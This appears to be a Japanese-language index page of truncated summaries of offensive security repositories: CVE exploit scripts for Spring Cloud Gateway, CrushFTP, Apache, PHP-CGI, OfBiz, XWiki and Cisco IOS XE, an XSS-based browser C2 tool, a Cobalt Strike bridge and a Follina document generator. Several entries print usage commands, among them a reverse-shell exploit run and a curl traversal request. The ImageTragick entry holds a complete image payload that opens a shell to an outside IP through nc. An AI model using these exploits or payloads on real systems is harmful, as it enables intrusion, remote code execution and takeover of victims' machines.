cve-2022-22947

Spring Cloud Gateway Actuator API SpELコードインジェクション CVE-2022-22947 ビルド root@kitploit: $ git clone https://github.com/twseptian/cve-2022-22947.git $ cd cve-2022-22947 $ docker build . -t cve-2022-22947 $ docker run -p 9000:9000 --name cve-2022-22947 cve-2022-22947 PoC...

peeko

peeko バージョン: v1.1 peeko は、被害者のブラウザを内部ネットワーク内のステルスプロキシとして利用する、ブラウザベースの XSS を利用した C2（コマンドアンドコントロール）ツールです。 注入された XSS ペイロードを通じて、peeko は中央サーバーへの WebSocket 接続を確立し、攻撃者は被害者のブラウザをリモートで制御して、内部サービスへのリクエスト送信、ネットワークスキャン、データの外部送信、さらには任意の JavaScript の実行まで可能になります。バイナリを1つも配置することなく、すべてを実現します。 特徴 攻撃者と被害者の間の WebSock...

CVE-2025-31161

CVE-2025-31161 - CrushFTP エクスプロイトスクリプト 説明 このリポジトリには、CVE-2025-31161 に対して脆弱な CrushFTP サービスと対話するための Python スクリプトが含まれています。このスクリプトは、脆弱性を悪用して既存のユーザーを一覧表示し、悪意のあるユーザーを追加することができます。 機能 コマンド実行前にホストが稼働しているか確認します。 CrushFTP サーバー上の有効なユーザーを一覧表示します。 昇格した権限を持つ悪意のあるユーザーを作成します。 基本的な HTTP 応答とエラー処理。 必要条件 Python 3.10 以...

nuclearpond-OFJAAAH

Nuclear Pond V.2 私たちはこのプロジェクトをフォークし、この素晴らしいアイデアを継続できるようにしました。一緒にコードを改善し、誰もが利用できるようにできればと思います - @OFJAAAH Nuclear Pondをインストールするには、バックエンドのterraform moduleを設定する必要があります。これはterraform applyを実行するか、terragruntを利用して行えます。 AWS Lambdaをバックエンドとして利用してNucleiスキャンを並列に実行し、JSONの検出結果をS3に保存してAWS...

sleep_python_bridge

Cobalt Strike Sleep Python Bridge このプロジェクトは、sleep言語とPython言語の間の「ブリッジ」です。標準のGUIクライアントを必要とせずに、PythonからCobalt Strikeチームサーバーを制御できます。 注記: このプロジェクトはまだベータ版です。目標はテストのためのプレイグラウンドを提供することであり、公式にサポートされている機能ではありません。おそらくこれは、将来的にコア製品に追加される可能性があります。 このプロジェクトは、@BinaryFaultline氏と@Mcgigglez16氏がプロジェクト...

SubrionCMS-4.2.1-File-upload-RCE-auth-

SubrionCMS-4.2.1-File-upload-RCE-auth- これは、CVE-2018-19422 のエクスプロイトを編集したもので、私が遭遇した小さな厄介な問題を修正しています。 CTFでこのエクスプロイトを使用する必要があったのですが、正しく動作させることができず、ログインに失敗し続けました。長い時間をかけてようやく原因がわかりました。それはURL引数の問題でした。URLを指定すると、プログラムは自動的に末尾が / で終わると想定していましたが、私はそうしていませんでした。 私が行っていたこと： http://example.com 正しい方法：...

CVE-2021-42013_Reverse-Shell

CVE-2021-42013Reverse-Shell PoC CVE-2021-42013 リバースシェル Apache 2.4.50 CGI 対応 使用方法： root@kitploit: chmod -x CVE-2021-42013.sh ./CVE-2021-42013reverseshell.sh http://ip:port/ LHOST LPORT 詳細情報： root@kitploit: chmod -x CVE-2021-42013.sh ./CVE-2021-42013reverseshell.sh http://ip:8083 10.0.000.000 9999 ...

CVE-2012-1823---PHP-CGI---RCE

CVE-2012-1823 | PHP-CGI リモートコード実行 RCE エクスプロイト CVE-2012-1823 用の Python ベースのエクスプロイトです。この脆弱性により、攻撃者はクエリ文字列を介してコマンドライン引数を注入することで、脆弱なバージョンの PHP-CGI を実行しているサーバー上で任意のコードを実行できます。 📝 脆弱性の概要 この欠陥は、PHP が CGI 設定で使用されている場合に存在します。HTTP クエリ文字列が PHP バイナリのコマンドライン引数として誤って解析されます。-d 引数を渡すことで、PHP の構成設定 ディレクティブ を上書きできます...

CVE-2024-32113-POC

Apache OfBiz の脆弱性 CVE-2024-32113 の POC USERNAME と PASSWORD のパラメータは、誰でもアクセス可能な /ecomseo/AnonContactus インターフェースで指定できます。 POC1：RCE root@kitploit: curl --noproxy '' -k --location --request POST 'https://127.0.0.1:8443/xxx/yyy/zzz/../../../%2e/webtools/control/ProgramExport' \ --header 'User-Agent:...

CVE-2022-30190

MS-MSDT Follina CVE-2022-30190 PoC 恶意 docx 生成器，用于利用（Microsoft Office Word 远程代码执行）漏洞 此脚本的创建基于 LockedByte 的 CVE-2021-40444 PoC 和 Tothi 的 writeup 使用 首先修改 backup.html 并替换 powershell payload。目前只是使用 IEX'calc.exe' 弹出一个 calc.exe。 python3 exploit.py generate http:// 生成恶意 docx（将位于 out/）后，你可以启动服务器： sudo...

CVE-2023-46012

CVE-2023-46012 LINKSYS AC1900 EA7500v3 IGD UPnP スタックバッファオーバーフローリモートコード実行脆弱性 この脆弱性により、ネットワークに隣接する攻撃者は、影響を受けるLINKSYS EA7500ルーターのインストール環境で任意のコードを実行できます。この脆弱性を悪用するために認証は必要ありません。 この具体的な欠陥は、IGD UPnPサービスへのHTTPリクエストデータの処理に存在します。特定のSOAP...

CVE-2004-1561

CVE-2004-1561 Icecast ヘッダー上書きバッファオーバーフロー RCE 568-edit.c の更新 元のエクスプロイトを動作させることができました。こちらに従って編集しました。 568-edit.c の使用方法 root@kitploit: root@Kali:/TryHackme/Ice gcc 568-edit.c -o 568 root@Kali:/TryHackme/Ice ./568 192.168.92.133 Icecast = 2.0.1 Win32 remote code execution 0.1 by Luigi Auriemma e-mail:...

CVE-2025-24893

CVE-2025-24893 のエクスプロイト CVE-2025-24893 は、XWiki Platform に影響を及ぼす重大な未認証リモートコード実行 RCE 脆弱性です。 この欠陥により、認証を必要とせずに、ゲストユーザーが SolrSearch エンドポイントへの特別に細工された RSS リクエストを介して、任意の Groovy コード を注入・実行できます。 これは影響を受けるシステムの機密性、完全性、可用性 に直接影響します。 概要 影響を受けるバージョン: XWiki ≥ 5.3-milestone-2 から ⚠️ 免責事項:...

GenGravSSTIExploit

EN GenGravSSTIExploit は、Grav CMS バージョン -p : https://hostname 形式のターゲット URL。 : ポート番号 デフォルトは 80。 例: root@kitploit: python GenGravSSTIExploit.py -t http://example.com -p 8080 4. エクスプロイトとの対話 エクスプロイトが成功すると、OS コマンドを実行できる URL が表示されます: root@kitploit: + RCE payload injected. Visit the malicious page:...

CVE-2022-22947

Spring Cloud Gateway Actuator API SpEL式インジェクションによるコマンド実行（CVE-2022-22947） Spring Cloud Gateway Actuator API SpEL Code Injection CVE-2022-22947 使用方法: root@kitploit: -t http://vuldomain.com //単一IP -f urls.txt //ファイルを読み込んで一括スキャン、マルチスレッドで高速 -c command //コマンドをカスタマイズ可能、デフォルトはwhoami...

ImageTragick_Poc

ImageTragick POCs RCEPOC root@kitploit: push graphic-context viewbox 0 0 640 480 fill 'urlhttps://example.com/image.jpg"|mknod /tmp/backpipe p && nc 121.42.56.8 8989 0/tmp/backpipe"' pop graphic-context root@kitploit: push graphic-context viewbox 0 0 640 480 fill...

cve-2023-20198

cve-2023-20198 説明 1vere$kによるCVE-2023-20198のPOC、Blogに基づく。また、元のCisco articleに従った16進数応答のチェックを含む。 スクリプトは2つのモードで動作します： check モード：指定されたURLに接続し、応答コードを確認します。応答が200OKで、かつ応答の長さが32文字未満の場合、デバイスが 侵害されている可能性 があります。 exploit モード：このモードでは、ユーザー名、パスワード、侵害された設定を指定する必要があります。 Ciscoの記事で推奨されているhttp/httpsスキーマのサポートを追加。...

crlfmap

CRLFMap CRLFMapは、HTTP Splittingの脆弱性を発見するためのツールです。 なぜ？ Golangで並行処理のためのツールを書きたいと思いました。 パラメータとパスの両方をファジングできるようにしたいと思いました。 インストール root@kitploit: go get github.com/ryandamour/crlfmap ヘルプ root@kitploit: Available Commands: help Help about any command scan A scanner for all your CRLF needs Flags: -h,...

CVE-2022-22965-PoC

CVE-2022-22965 Spring4Shell 概念実証 Spring Core で RCE（リモートコード実行）をテストする イメージをビルドする BuildKit ベースのビルドが必要なため、有効にする必要があります。 最も簡単な方法は、docker build コマンドを実行するときに DOCKERBUILDKIT=1 環境変数を設定することです。例： root@kitploit: $ DOCKERBUILDKIT=1 docker build -f Dockerfile.core . -t spring4shell-core && docker run --rm -p...

log4j_checker

Log4jchecker.py（CVE-2021-44228） 説明 このPython3スクリプトは、CVE-2021-44228、別名 Log4Shell として知られる、Log4j2 Javaロギングライブラリで見つかった非常に深刻な脆弱性に対して脆弱なサーバーを探すことを目的としています。 外部のDNSログサーバーに依存して脆弱なターゲットを検証・確認することはありません。起動すると、全インターフェースとポート55555（.envファイルまたは環境変数で変更可能）で待ち受ける新しいスレッドが作成され、脆弱なマシンからのコールバック接続を待ち、Python...